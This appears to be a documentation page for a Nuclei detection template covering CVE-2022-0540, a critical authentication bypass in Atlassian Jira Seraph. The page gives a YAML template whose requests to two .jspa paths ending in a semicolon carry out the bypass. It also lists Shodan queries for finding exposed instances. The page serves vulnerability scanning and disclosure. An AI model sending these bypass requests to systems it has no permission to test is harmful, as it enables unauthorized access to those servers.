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Atlassian Jira Seraph - Authentication Bypass

ID: CVE-2022-0540

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2022,atlassian,jira,exposure,auth-bypass

Description

Section titled “Description”

Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0540


info:
  name: Atlassian Jira Seraph - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential disruption of business operations.
  remediation: Ensure you are using the latest version and that all security patches have been applied.
  reference:
    - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0540
    - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20
    - https://jira.atlassian.com/browse/JRASERVER-73650
    - https://jira.atlassian.com/browse/JSDSERVER-11224
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0540
    cwe-id: CWE-287
    epss-score: 0.2507
    epss-percentile: 0.96565
    cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: "jira_data_center"
    shodan-query:
      - "http.component:\"Atlassian Jira\""
      - http.component:"atlassian jira"
  tags: cve,cve2022,atlassian,jira,exposure,auth-bypass


http:
  - method: GET
    path:
      - '{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;'
      - '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;'


    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'General Insight Configuration'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ffea62431cf6a1689f4933e00ca48165b89ccec544c671236b16a0d1c9c798b602207f63a1204fdb70f87183597006e272737523f66fe29ae87b5ec4add74f70a289:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0540.yaml"

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